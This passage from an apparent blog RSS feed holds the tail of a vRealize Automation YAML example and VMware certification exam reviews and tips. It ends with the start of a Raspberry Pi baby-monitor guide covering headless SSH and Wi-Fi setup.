&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;bootDiskCapacityInGB:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networks:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$&lt;/span&gt;{&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;map_by(resource.Cloud_vSphere_Network_1[*].*&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;resource.Cloud_vSphere_Network_2[*].*,&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;network&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net.id&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;deviceIndex&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net.deviceIndex&lt;/span&gt;}&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And here&amp;rsquo;s how it would look like on the canvas and from the user point of view:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230413-vra8-choosing-nic-number/canvas.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230413-vra8-choosing-nic-number/checkbox.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>vcap-cma design 2023: review &amp; tips</title>
      <link>/posts/230401-vcap-cma-23-design-review/</link>
      <pubDate>Sat, 01 Apr 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230401-vcap-cma-23-design-review/</guid>
      <description>1: description The VCAP exams are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.
The VCAP Design exam&amp;rsquo;s main gimmick is the reliance on soft skills and semi-technical knowledge: design phases, business decisions and objectives, gathering customer requirements and so on and so forth.</description>
      <content>&lt;h2 id=&#34;1-description&#34;&gt;1: description&lt;/h2&gt;
&lt;p&gt;The VCAP exams are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.&lt;/p&gt;
&lt;p&gt;The VCAP Design exam&amp;rsquo;s main gimmick is the reliance on soft skills and semi-technical knowledge: design phases, business decisions and objectives, gathering customer requirements and so on and so forth. While its sibling, VCAP Deploy, can be considered a fairly easy test for anyone with some good experience in the product, the VCAP Design requires you to have knowledge which is not really that easily attainable and not stuff you learn &amp;ldquo;on the job&amp;rdquo;.&lt;/p&gt;
&lt;h2 id=&#34;2-review&#34;&gt;2: review&lt;/h2&gt;
&lt;p&gt;The exam is quite tough and there are two main reasons behind it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The technical questions are a bit vague. It&amp;rsquo;s not like a VCP where you can easily identify the most likely correct answers out of the given set. The questions presented to you on this exam are usually accompanied by 4-6 answers which on the first glance could be all correct. The winning difference is often in very subtle and minute details. It is very important for an exam taker to be aware of the difference between being technically correct and business correct. For example, a question might have an answer which aligns with the best practices however it wouldn&amp;rsquo;t meet the business goals outlined in the intro - to pass this exam you need to know/guess what&amp;rsquo;s more important in a given scenario.&lt;/li&gt;
&lt;li&gt;The non-technical questions rely heavily on VMware&amp;rsquo;s design philosophy and its concepts. For many it might be very obvious stuff but for most I&amp;rsquo;d say it&amp;rsquo;s not. Based on my experience, you shall study the following terms/principals before trying to pass this exam:
&lt;ul&gt;
&lt;li&gt;functional vs non-functional design requirements - you should understand the definitions of these terms and their implications&lt;/li&gt;
&lt;li&gt;design phases/types: conceptual, logical and physical - you will need to explain the differences between them and identify what should be present in each of them&lt;/li&gt;
&lt;li&gt;design/customer requirements, assumptions and constraints - again, you need to know the differences between then and correctly map definitions to examples&lt;/li&gt;
&lt;li&gt;stability, manageability, availability, performance, security and recoverability of a solution - same as above yet again&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;3-experience&#34;&gt;3: experience&lt;/h2&gt;
&lt;p&gt;Unfortunately, it took me two attempts to pass this bastard. First time around I missed the mark by just 10 points (290/500) while on the second attempt I thankfully smashed it out of the park by getting 440/500. The biggest gap in my knowledge which cost me my first attempt was the design methodology described in previous section. It&amp;rsquo;s a huge topic which I might come back to later in a separate post.&lt;/p&gt;
&lt;p&gt;Other than that, the exam itself was very similar to a VCP - 60 questions, 2 hours to complete them, same quiz system. One difference is the presence of &amp;ldquo;mapping&amp;rdquo; questions where you are required to drag the names of design concepts to their definitions. It&amp;rsquo;s simple enough and could be replaced by multiple choice so it shouldn&amp;rsquo;t matter that much.&lt;/p&gt;
&lt;h2 id=&#34;4-tips&#34;&gt;4: tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;You do not need in-depth technical knowledge about the product. What I mean by that is that I wouldn&amp;rsquo;t focus on things you usually refresh on before a technical exam: ports, system requirements, commands - all of that will matter very little.&lt;/li&gt;
&lt;li&gt;On the other hand, it is very important to understand the relationships between products in scope and their high level definitions/use-cases. You probably won&amp;rsquo;t be asked how vRA communicates with vRO but you will definitely have to identify which products can coexist with another, which can be substituted and what sort of license you need for certain features.&lt;/li&gt;
&lt;li&gt;The soft skill / design questions are brutal. You need to understand the concepts very well but even then you might struggle correctly answering some of these questions. As an anecdote, on my first attempt, I was very confused by one question about functional vs non-functional requirements and after failing, I reached out to multiple VCDX holders for guidance&amp;hellip; and I ended up with &lt;em&gt;5 different opinions&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Despite being discontinued / outdated, the VVD (VMware Validated Design) documents are a great source of &amp;ldquo;VMware design principles&amp;rdquo;. I really recommend going through all them while learning the &amp;ldquo;soft skills&amp;rdquo; required for this exam.&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>vcap-cma deploy 2023: review &amp; tips</title>
      <link>/posts/230301-vcap-cma-23-deploy-review/</link>
      <pubDate>Wed, 01 Mar 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230301-vcap-cma-23-deploy-review/</guid>
      <description>1: description The VCAP exams, and the VCAP Deploy exam in particular, are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.
In the case of a VCAP Deploy exam, there is one more, far more impactful difference, the exam is a closed book, practical test.</description>
      <content>&lt;h2 id=&#34;1-description&#34;&gt;1: description&lt;/h2&gt;
&lt;p&gt;The VCAP exams, and the VCAP Deploy exam in particular, are totally different from VCPs (which you also need to pass in the same track to obtain the certification). While VCPs focus on facts and technical knowledge about products - or, in other words, what an administrator should know - VCAPs focus on two more advanced areas of expertise: the design of a solution and its deployment.&lt;/p&gt;
&lt;p&gt;In the case of a VCAP Deploy exam, there is one more, far more impactful difference, the exam is a &lt;strong&gt;closed book, practical test&lt;/strong&gt;. What that means is that instead of a quiz system, you are given access to a lab environment where you are asked to perform a set of tasks ranging from day 2 configuration/operations, troubleshooting/debugging to initial product deployment. The environment itself is very similar to what you would expect in HoL (hands on labs): you get a Windows Server jumpbox with a preconfigured set of applications and browser bookmarks and a side panel listing all the different exam objectives.&lt;/p&gt;
&lt;p&gt;Despite what I initially understood from the &lt;a href=&#34;https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/certification/vmw-deploy-exam-guide.pdf&#34;&gt;blueprint&lt;/a&gt;, this exam doesn&amp;rsquo;t give you access to documentation. This is one big grudge I have against it since similar exams in the industry allow you to access their documentation (Red Hat, Kubernetes). On the plus side, the exam is &lt;strong&gt;very&lt;/strong&gt; straightforward for anyone with hands-on experience with the product. With minimal preparation, I&amp;rsquo;d be willing to bet that anyone with 6+ months of experience can pass first time as long as they keep their head cool and think quickly on their feet.&lt;/p&gt;
&lt;h2 id=&#34;2-review&#34;&gt;2: review&lt;/h2&gt;
&lt;p&gt;The exam is admittedly very enjoyable if you know what you&amp;rsquo;re doing. The set objectives are not super difficult. You don&amp;rsquo;t have to be an ex-GSS member to know how to do the majority of the stuff needed to pass. As long as you pay attention to subtle details given in the questions or input data and make the most of the product GUI (embedded manuals, tip prompts etc), you can successfully complete given tasks without ever doing them before at work or in a lab. For example, I never touched SaltStack before attempting the exam and I figured what I need to do on the spot.&lt;/p&gt;
&lt;p&gt;Two important things to keep in mind are the time limit and the lack of documentation:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Time - despite the exam being quite low on question number (12), the allocated time is not super comfortable. You can easily assume that you will need 10-15min at least per question which leaves little time to review etc. My advice here is to skip questions you&amp;rsquo;re not 100% on as quickly as possible and move on to the next one. Once you go through all 12 you can then estimate how much time you&amp;rsquo;re left with and how much you can &amp;ldquo;spare&amp;rdquo; to re-attempt the skipped tasks.&lt;/li&gt;
&lt;li&gt;Documentation - as I said before, this is a closed book exam. You cannot access any whitepapers, websites or read offline PDFs. What you do have however is all the embedded help sections within the product(s). I would suggest to review what sort of info will be available on the spot and focus on everything else in your prep time. A good example of this would be code samples: quite common in vRA documentation but rare/non-existent in help prompts.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;3-experience&#34;&gt;3: experience&lt;/h2&gt;
&lt;p&gt;I think it took me about a week to prepare for this exam (3V0-31.22). During this time, I was mostly playing around in the ICM lab trying to familiarize myself with as many product features as possible. I ended up scoring 420/500 (300 to pass) on my first attempt. One annoying thing was that I had to wait for these results nearly two weeks. Unfortunately, it seems that VCAP Deploy exams are still manually verified or the automation behind it is quite lacking.&lt;/p&gt;
&lt;p&gt;In terms of time, I was quite fast with knocking out 8 out of the 12 questions/objectives. I ended up having a bit over an hour left to tackle the 4 remaining. I ended up completing all objectives in time however I&amp;rsquo;m pretty sure I blew at least one of them completely (vRO&amp;hellip;).&lt;/p&gt;
&lt;h2 id=&#34;4-tips&#34;&gt;4: tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;While the exam blueprint makes it look like the only product you need to know/focus on is vRealize Automation, I highly suggest you study Orchestrator and SaltStack as well.&lt;/li&gt;
&lt;li&gt;As I mentioned above, when studying for this exam, pay close attention to the code samples in the official documentation. Some of it will definitely come handy during the exam however you need to remember it by heart as there will be no way to look it up in the exam center. This is especially true for anything related to SaltStack.&lt;/li&gt;
&lt;li&gt;Troubleshooting is very important. For one thing, you might need to fix some stuff in the lab to complete the objective. Additionally, since the lab has no &amp;ldquo;oh shit I f*cked up&amp;rdquo; button, knowing how to troubleshoot and fix issues with the product might prove to be essential when you accidentally break part of the exam environment, This is 100% possible and 100% will happen in the worst possible time&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>VCP-CMA 2023: Review &amp; Tips</title>
      <link>/posts/230201-vcp-cma-23-review/</link>
      <pubDate>Wed, 01 Feb 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230201-vcp-cma-23-review/</guid>
      <description>Description As with all other VCPs, the CMA exam focuses on testing (what I like to call) trivial knowledge about vRealize Suite (primarily vRA). Of course, all of the questions on the exam are valid and important, but in most cases the questions are based on knowledge that can be &amp;ldquo;googled&amp;rdquo; in about 5 minutes if needed in real life.
When deciding to go after this certification, one should remember that experience =/= exam knowledge.</description>
      <content>&lt;h2 id=&#34;description&#34;&gt;Description&lt;/h2&gt;
&lt;p&gt;As with all other VCPs, the CMA exam focuses on testing (what I like to call) trivial knowledge about vRealize Suite (primarily vRA). Of course, all of the questions on the exam are valid and important, but in most cases the questions are based on knowledge that can be &amp;ldquo;googled&amp;rdquo; in about 5 minutes if needed in real life.&lt;/p&gt;
&lt;p&gt;When deciding to go after this certification, one should remember that experience =/= exam knowledge. What I mean by that is: &lt;em&gt;while using the product in real life is important, it is nearly impossible to know everything needed for the exam just from the experience alone&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For example, while it is obvious for most vRealize administrators and architects that vRealize Orchestrator now comes as a part of the vRealize Automation appliance by default, they might not remember the exact storage and compute requirements of all the different sizing types of the standalone vRO appliance. This is why it is &lt;strong&gt;vital&lt;/strong&gt; to properly prepare and study before attempting the VCP-CMA exam.&lt;/p&gt;
&lt;h2 id=&#34;review&#34;&gt;Review&lt;/h2&gt;
&lt;p&gt;The exam I took was &lt;a href=&#34;https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/certification/vmware-VCP-CMA-exam-preparation-guide.pdf&#34;&gt;2VO-31.21&lt;/a&gt; - focused on vRealize Automation 8.3 and was made up of 67 questions. The questions were a mix of single answer and multiple choice (i.e., select 3 statements that are true). The majority of the questions were straight forward and based on facts in the product documentation; for example, questions about ports used by a given product, which features the product offers, etc. The exam consisted of very few questions, which could be labeled as &amp;ldquo;vague&amp;rdquo;. You shouldn&amp;rsquo;t expect many questions that are based on opinions or best practices.&lt;/p&gt;
&lt;p&gt;As you can probably already tell, I&amp;rsquo;m not a fan of exams like that. I hate learning documentation by heart, and I like supplementing my knowledge with notes, documents, or the internet whenever needed instead of learning facts such as required ports or license levels. Having that said, this exam wasn&amp;rsquo;t the worst offender of that ever. A lot of questions could be &amp;ldquo;eyeballed&amp;rdquo; with enough general knowledge about the product and experience with the VMware ecosystem in general.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s take a single-choice question as an example; usually, in this type of question, you can expect the following structure of answers:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;A) correct answer
B) A very similar but incorrect answer (usually by a minor detail)
C) an answer mentioning something valid (i.e., a product name) but
   having little to no relevance to the question
D) A made-up name or fact or a flat-out dumb answer (i.e., setting 
   all firewall ports to open in production is a good idea)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Questions like the one above made up about 60% of the exam, so not enough to pass but enough to boost your score if you&amp;rsquo;re not 100% prepared but keep your head on your shoulders.&lt;/p&gt;
&lt;h2 id=&#34;experience&#34;&gt;Experience&lt;/h2&gt;
&lt;p&gt;I passed this exam on my first attempt, scoring 390/500 points (300 to pass). I had good understanding of the previous generation of the product (7.x) which allowed me to quickly &amp;ldquo;update&amp;rdquo; my knowledge to 8.x; for that I primarily used the ICM on-demand course material and the included lab (to play around with the new/changed features). Shortly before the exam, I carried out a thorough review of the product compatibility matrix, the ports required by vRA, vRO etc., and a quick scan of the VVD (VMware Validated Design) documentation.&lt;/p&gt;
&lt;h2 id=&#34;tips&#34;&gt;Tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Don&amp;rsquo;t assume this to be an easy exam; unless you have perfect memory, you will need to review some stuff before attempting it.&lt;/li&gt;
&lt;li&gt;The product interoperability matrix and ports.vmware.com should be your best friends; review both thoroughly.&lt;/li&gt;
&lt;li&gt;If you don&amp;rsquo;t know an answer to the question, attempt to &amp;ldquo;think like an exam writer&amp;rdquo; and identify the obviously wrong answers and pick the most likely one, or, after throwing out the answers you think are wrong, roll a die on the remaining answers and just pick one.&lt;/li&gt;
&lt;li&gt;Make use of the paper and pen supplied to note down questions you&amp;rsquo;d like to come back to. I would advise against reviewing all questions after you finish your first pass. This has led me to fail more than once. I think it&amp;rsquo;s better to review only the questions you really think you need a second shot at.&lt;/li&gt;
&lt;li&gt;The CMA exam differs from DCV or NSX as the scope of products in far greater. This means two things: 1. you don&amp;rsquo;t need to know literally everything about every single product to pass and 2. you should make sure you understand the relationships and interoperability of the products very well in order to successfully pass the exam&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>VCP-DCV 2022: Review &amp; Tips</title>
      <link>/posts/230101-vcp-dcv-22-review/</link>
      <pubDate>Sun, 01 Jan 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230101-vcp-dcv-22-review/</guid>
      <description>Description As with all other VCPs, the DCV exam focuses on testing (what I like to call) trivial knowledge about vSphere. Of course, all of the questions on the exam are valid and important, but in most cases the questions are based on knowledge that can be &amp;ldquo;googled&amp;rdquo; in about 5 minutes if needed in real life.
When deciding to go after this certification, one should remember that experience =/= exam knowledge.</description>
      <content>&lt;h2 id=&#34;description&#34;&gt;Description&lt;/h2&gt;
&lt;p&gt;As with all other VCPs, the DCV exam focuses on testing (what I like to call) trivial knowledge about vSphere. Of course, all of the questions on the exam are valid and important, but in most cases the questions are based on knowledge that can be &amp;ldquo;googled&amp;rdquo; in about 5 minutes if needed in real life.&lt;/p&gt;
&lt;p&gt;When deciding to go after this certification, one should remember that experience =/= exam knowledge. What I mean by that is: &lt;em&gt;while using the product in real life is important, it is nearly impossible to know everything needed for the exam just from the experience alone&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;For example, while it is obvious for most vSphere administrators and architects that an ESXi server connects to a vCenter for management purposes, they might not remember all the ports required for that connection to work. This is why it is &lt;strong&gt;vital&lt;/strong&gt; to properly prepare and study before attempting the VCP-DCV exam.&lt;/p&gt;
&lt;h2 id=&#34;review&#34;&gt;Review&lt;/h2&gt;
&lt;p&gt;The exam I took was &lt;a href=&#34;https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/certification/vmw-vcp-dcv-exam-preparation-guide.pdf&#34;&gt;2VO-21.20&lt;/a&gt; - focused on vSphere 7 (vCenter + ESXi) and was made up of 70 questions. The questions were a mix of single answer and multiple choice (i.e., select 3 statements that are true). The majority of the questions were straight forward and based on facts in the product documentation; for example, questions about ports used by a given product, which features the product offers, etc. The exam consisted of very few questions, which could be labeled as &amp;ldquo;vague&amp;rdquo;. You shouldn&amp;rsquo;t expect many questions that are based on opinions or best practices.&lt;/p&gt;
&lt;p&gt;As you can probably already tell, I&amp;rsquo;m not a fan of exams like that. I hate learning documentation by heart, and I like supplementing my knowledge with notes, documents, or the internet whenever needed instead of learning facts such as required ports or license levels. Having that said, this exam wasn&amp;rsquo;t the worst offender of that ever. A lot of questions could be &amp;ldquo;eyeballed&amp;rdquo; with enough general knowledge about the product and experience with the VMware ecosystem in general.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s take a single-choice question as an example; usually, in this type of question, you can expect the following structure of answers:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;A) correct answer
B) A very similar but incorrect answer (usually by a minor detail)
C) an answer mentioning something valid (i.e., a product name) but
   having little to no relevance to the question
D) A made-up name or fact or a flat-out dumb answer (i.e., setting 
   all firewall ports to open in production is a good idea)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Questions like the one above made up about 60% of the exam, so not enough to pass but enough to boost your score if you&amp;rsquo;re not 100% prepared but keep your head on your shoulders.&lt;/p&gt;
&lt;h2 id=&#34;experience&#34;&gt;Experience&lt;/h2&gt;
&lt;p&gt;I passed this exam on my first attempt, scoring 450/500 points (300 to pass). Admittedly, I didn&amp;rsquo;t study much since vSphere is one of my key specialties. My prep consisted of a thorough review of the product compatibility matrix, the ports required by vCenter and ESXi, and a quick scan of the new features released in 7.x.&lt;/p&gt;
&lt;h2 id=&#34;tips&#34;&gt;Tips&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Don&amp;rsquo;t assume this to be an easy exam; unless you have perfect memory, you will need to review some stuff before attempting it.&lt;/li&gt;
&lt;li&gt;The product interoperability matrix and ports.vmware.com should be your best friends; review both thoroughly.&lt;/li&gt;
&lt;li&gt;If you don&amp;rsquo;t know an answer to the question, attempt to &amp;ldquo;think like an exam writer&amp;rdquo; and identify the obviously wrong answers and pick the most likely one, or, after throwing out the answers you think are wrong, roll a die on the remaining answers and just pick one.&lt;/li&gt;
&lt;li&gt;Make use of the paper and pen supplied to note down questions you&amp;rsquo;d like to come back to. I would advise against reviewing all questions after you finish your first pass. This has led me to fail more than once. I think it&amp;rsquo;s better to review only the questions you really think you need a second shot at.&lt;/li&gt;
&lt;/ol&gt;
</content>
    </item>
    
    <item>
      <title>Raspberry Pi Baby Monitor / Security Cam</title>
      <link>/posts/221201-raspberry-pi-baby-cam/</link>
      <pubDate>Thu, 01 Dec 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/221201-raspberry-pi-baby-cam/</guid>
      <description>Here&amp;rsquo;s what we&amp;rsquo;re going to setup in this guide:
24/7 Monitoring with motion detection Smartphone push notifications (motion alerts) Controlling Raspberry Pi and the monitoring system with an app Sounds cool? Yeah, let&amp;rsquo;s jump right into it.
Hardware/Budget Requirements Raspberry Pi - depending on the version €30-70 USB Camera - got mine for €10 from a local shop 16GB SD card - anywhere from €15-50 Stage Zero - Setting up a headless Raspberry Pi Preparing the SD card Before we begin, download the Raspbian Lite and balenaEtcher.</description>
      <content>&lt;p&gt;Here&amp;rsquo;s what we&amp;rsquo;re going to setup in this guide:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;24/7 Monitoring with motion detection&lt;/li&gt;
&lt;li&gt;Smartphone push notifications (motion alerts)&lt;/li&gt;
&lt;li&gt;Controlling Raspberry Pi and the monitoring system with an app&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sounds cool? Yeah, let&amp;rsquo;s jump right into it.&lt;/p&gt;
&lt;h2 id=&#34;hardwarebudget-requirements&#34;&gt;Hardware/Budget Requirements&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Raspberry Pi - depending on the version €30-70&lt;/li&gt;
&lt;li&gt;USB Camera - got mine for €10 from a local shop&lt;/li&gt;
&lt;li&gt;16GB SD card - anywhere from €15-50&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;stage-zero---setting-up-a-headless-raspberry-pi&#34;&gt;Stage Zero - Setting up a headless Raspberry Pi&lt;/h2&gt;
&lt;h3 id=&#34;preparing-the-sd-card&#34;&gt;Preparing the SD card&lt;/h3&gt;
&lt;p&gt;Before we begin, download the &lt;a href=&#34;https://downloads.raspberrypi.org/raspios_lite_armhf/images/raspios_lite_armhf-2020-08-24/2020-08-20-raspios-buster-armhf-lite.zip&#34;&gt;Raspbian Lite&lt;/a&gt; and &lt;a href=&#34;https://www.balena.io/etcher/&#34;&gt;balenaEtcher&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once downloaded, launch balenaEtcher and select the Raspbian Lite zip as source, your SD card as targe and click &amp;ldquo;Flash!&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The process of burning Raspbian onto the card might take few mins depending on your hardware.&lt;/p&gt;
&lt;h3 id=&#34;enabling-ssh-and-connecting-to-wi-fi&#34;&gt;Enabling SSH and connecting to Wi-Fi&lt;/h3&gt;
&lt;p&gt;Once balenaEtcher finishes with your SD card, open up your terminal and mount the newly created RPi boot partition on your local OS.&lt;/p&gt;
&lt;p&gt;Keep in mind that /boot is always the first partiton on the SD - for example, my SD card known in-OS as &lt;code&gt;/dev/mmcblk&lt;/code&gt;, so I will need to mount &lt;code&gt;/dev/mmcblkp1&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# mkdir /tmp/boot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# mount /dev/mmcblkp1 /tmp/boot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, we will enable SSH on boot by creating a blank &lt;code&gt;ssh&lt;/code&gt; file in the mounted /boot partition.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# touch /tmp/boot/ssh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, we will configure Wi-Fi by creating a &lt;code&gt;wpa_supplicant.conf&lt;/code&gt; file in the mounted directory.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# vi /tmp/boot/wpa_supplicant.conf&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Add the following to the new file and save changes:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;country&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;IE     &lt;span style=&#34;color:#75715e&#34;&gt;# change the country code to whatever fits your location&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ctrl_interface&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;DIR&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/var/run/wpa_supplicant GROUP&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;netdev
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;update_config&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network&lt;span style=&#34;color:#f92672&#34;&gt;={&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;scan_ssid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ssid&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;WIFISSIDNAME&amp;#34;&lt;/span&gt;         &lt;span style=&#34;color:#75715e&#34;&gt;# Wi-Fi SSID in plaintext&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;psk&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;WIFI123456789#!£&lt;/span&gt;$&lt;span style=&#34;color:#e6db74&#34;&gt;%&amp;#34;&lt;/span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# Wi-Fi password in plaintext&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can now unmount the SD card from our system and plug it into our Raspberry Pi. You should be able to ping it with its default hostname 1-2mins after powering it on (hostname is resolved via mDNS so don&amp;rsquo;t worry about your local nameserver). Use &lt;code&gt;pi&lt;/code&gt; as the user and &lt;code&gt;raspberry&lt;/code&gt; as password.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@ssh.guru &lt;span style=&#34;color:#75715e&#34;&gt;# umount /tmp/boot&lt;/span&gt;
